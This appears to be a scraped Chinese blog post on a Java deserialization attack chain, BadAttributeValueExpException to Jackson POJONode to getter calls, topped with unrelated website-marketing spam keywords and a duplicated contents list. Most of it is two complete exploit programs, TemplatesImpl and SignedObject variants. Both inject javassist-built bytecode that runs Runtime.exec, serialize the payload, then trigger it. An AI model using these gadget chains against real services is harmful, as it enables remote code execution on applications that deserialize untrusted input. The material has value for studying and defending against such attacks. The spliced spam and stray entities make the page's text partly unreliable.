石家庄网站开发公司电话,海南专业网站运营托管,wordpress 淘口令主题,微信网站系统目录
核心速览
原理分析
EXP
TemplatesImpl利用
SignedObject利用 核心速览
writeValueAsString是jackson序列化自带的入口#xff0c;在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用
下面介绍如下利用链#xff1a; BadAttrib…目录
核心速览
原理分析
EXP
TemplatesImpl利用
SignedObject利用 核心速览
writeValueAsString是jackson序列化自带的入口在调用该方法的过程中将会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用
下面介绍如下利用链 BadAttributeValueExpException.toString - POJONode - jackson反序列化-getter 原理分析
POJONode继承ValueNodeValueNode继承BaseJsonNode
BaseJsonNode有一个writeReplace方法 writeReplace 方法是 Java 中的一个特殊方法它在序列化过程中起着重要作用。当对象被序列化时Java 虚拟机会自动调用 writeReplace 方法如果存在并用其返回的对象来替换原始对象。这个方法的主要作用是允许开发者在序列化过程中控制对象的替换行为。
具体来说writeReplace 方法通常用于以下情况
对象替换: 可以通过 writeReplace 方法返回另一个对象来替换原始对象进行序列化。这样可以隐藏原始对象的实际类型或状态或者返回单例对象等。序列化代理: 通过返回另一个对象可以将序列化的责任委托给另一个对象来完成序列化过程从而更灵活地控制对象的序列化方式。
这是我们不希望看到的所以要在当前classpath下创建个新的BaseJsonNode并将原来的writeReplace方法删除或注释掉如此便能正常完成利用链相关调用。 POJONode中不存在有toString方法的实现在其父类的父类BaseJsonNode中存在有 跟进InternalNodeMapper.nodeToString看到调用jackson反序列化自带的入口writeValueAsString 之后便会调用入参bean的getter方法打法有很多 EXP
TemplatesImpl利用
package org.jackson;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;public class EXP {public static void main(String[] args) throws Exception {ClassPool pool ClassPool.getDefault();CtClass ctClass pool.makeClass(a);CtClass superClass pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor constructor new CtConstructor(new CtClass[]{},ctClass);constructor.setBody(Runtime.getRuntime().exec(\calc\););ctClass.addConstructor(constructor);byte[] bytes ctClass.toBytecode();Templates templatesImpl new TemplatesImpl();setFieldValue(templatesImpl, _bytecodes, new byte[][]{bytes});setFieldValue(templatesImpl, _name, xxx);setFieldValue(templatesImpl, _tfactory, null);POJONode jsonNodes new POJONode(templatesImpl);BadAttributeValueExpException exp new BadAttributeValueExpException(null);Field val Class.forName(javax.management.BadAttributeValueExpException).getDeclaredField(val);val.setAccessible(true);val.set(exp,jsonNodes);ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream objectOutputStream new ObjectOutputStream(barr);objectOutputStream.writeObject(exp);FileOutputStream foutnew FileOutputStream(1.ser);fout.write(barr.toByteArray());fout.close();FileInputStream fileInputStream new FileInputStream(1.ser);System.out.println(serial(exp));deserial(serial(exp));}public static String serial(Object o) throws IOException, NoSuchFieldException {ByteArrayOutputStream baos new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(baos);oos.writeObject(o);oos.close();String base64String Base64.getEncoder().encodeToString(baos.toByteArray());return base64String;}public static void deserial(String data) throws Exception {byte[] base64decodedBytes Base64.getDecoder().decode(data);ByteArrayInputStream bais new ByteArrayInputStream(base64decodedBytes);ObjectInputStream ois new ObjectInputStream(bais);ois.readObject();ois.close();}private static void setFieldValue(Object obj, String field, Object arg) throws Exception{Field f obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);}
}
SignedObject利用
package org.jackson;import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;public class EXP2 {public static void main(String[] args) throws Exception {ClassPool pool ClassPool.getDefault();CtClass ctClass pool.makeClass(a);CtClass superClass pool.get(AbstractTranslet.class.getName());ctClass.setSuperclass(superClass);CtConstructor constructor new CtConstructor(new CtClass[]{},ctClass);constructor.setBody(Runtime.getRuntime().exec(\calc\););ctClass.addConstructor(constructor);byte[] bytes ctClass.toBytecode();TemplatesImpl templatesImpl new TemplatesImpl();setFieldValue(templatesImpl, _bytecodes, new byte[][]{bytes});setFieldValue(templatesImpl, _name, fakes0u1);setFieldValue(templatesImpl, _tfactory, null);POJONode jsonNodes2 new POJONode(templatesImpl);BadAttributeValueExpException exp2 new BadAttributeValueExpException(null);Field val2 Class.forName(javax.management.BadAttributeValueExpException).getDeclaredField(val);val2.setAccessible(true);val2.set(exp2,jsonNodes2);KeyPairGenerator keyPairGenerator;keyPairGenerator KeyPairGenerator.getInstance(DSA);keyPairGenerator.initialize(1024);KeyPair keyPair keyPairGenerator.genKeyPair();PrivateKey privateKey keyPair.getPrivate();Signature signingEngine Signature.getInstance(DSA);SignedObject signedObject new SignedObject(exp2,privateKey,signingEngine);POJONode jsonNodes new POJONode(signedObject);BadAttributeValueExpException exp new BadAttributeValueExpException(null);Field val Class.forName(javax.management.BadAttributeValueExpException).getDeclaredField(val);val.setAccessible(true);val.set(exp,jsonNodes);ByteArrayOutputStream barr new ByteArrayOutputStream();ObjectOutputStream objectOutputStream new ObjectOutputStream(barr);objectOutputStream.writeObject(exp);FileOutputStream foutnew FileOutputStream(1.ser);fout.write(barr.toByteArray());fout.close();FileInputStream fileInputStream new FileInputStream(1.ser);System.out.println(serial(exp));deserial(serial(exp));}public static String serial(Object o) throws IOException, NoSuchFieldException {ByteArrayOutputStream baos new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(baos);oos.writeObject(o);oos.close();String base64String Base64.getEncoder().encodeToString(baos.toByteArray());return base64String;}public static void deserial(String data) throws Exception {byte[] base64decodedBytes Base64.getDecoder().decode(data);ByteArrayInputStream bais new ByteArrayInputStream(base64decodedBytes);ObjectInputStream ois new ObjectInputStream(bais);ois.readObject();ois.close();}private static void setFieldValue(Object obj, String field, Object arg) throws Exception{Field f obj.getClass().getDeclaredField(field);f.setAccessible(true);f.set(obj, arg);}
}